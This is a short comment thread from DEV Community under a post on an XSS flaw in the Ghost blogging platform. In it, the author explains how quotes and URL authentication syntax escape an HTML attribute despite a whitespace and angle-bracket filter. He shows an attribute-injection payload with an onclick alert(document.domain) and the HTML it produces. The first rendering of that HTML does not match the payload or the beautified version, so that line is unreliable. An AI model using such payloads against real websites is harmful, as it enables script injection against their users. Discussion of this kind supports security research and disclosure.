DEV Community

Discussion on: XSS in Ghost

View post
Collapse
 
_imm0 profile image
_Imm0 •

Hi, shouldn't /[\s<>]/ prevent not only less than or greater symbols but also any whitespace?

Collapse
 
antogarand profile image
Antony Garand •

Indeed!

But spaces aren't the only way of escaping the attribute.

Having a URL with quotes would also let us create new attributes, with a value such as "x"onclick="y"

Collapse
 
_imm0 profile image
_Imm0 •

So a URL like "http://foo.bar/..." would also be valid?
Because since we have no quotes in the first place, we can't you quotes to end the attribute, can we?

Thread Thread
 
antogarand profile image
Antony Garand •

But you can start a URL with quotes!

Thanks to the url authentitation, this payload is valid:

"a"b="@dev.to#"onclick="alert(document.domain)"accesskey="x"

Which gives the resulting HTML:

<input class="location" type="hidden" name="location" value="a"b="@dev.to#"accesskey="alert(document.domain)"keycode="x" />

Or, once beautified:

<input 
  class="location" 
  type="hidden" 
  name="location"
  value="a"
  b="@dev.to#"
  onclick="alert(document.domain)"
  accesskey="x" 
/>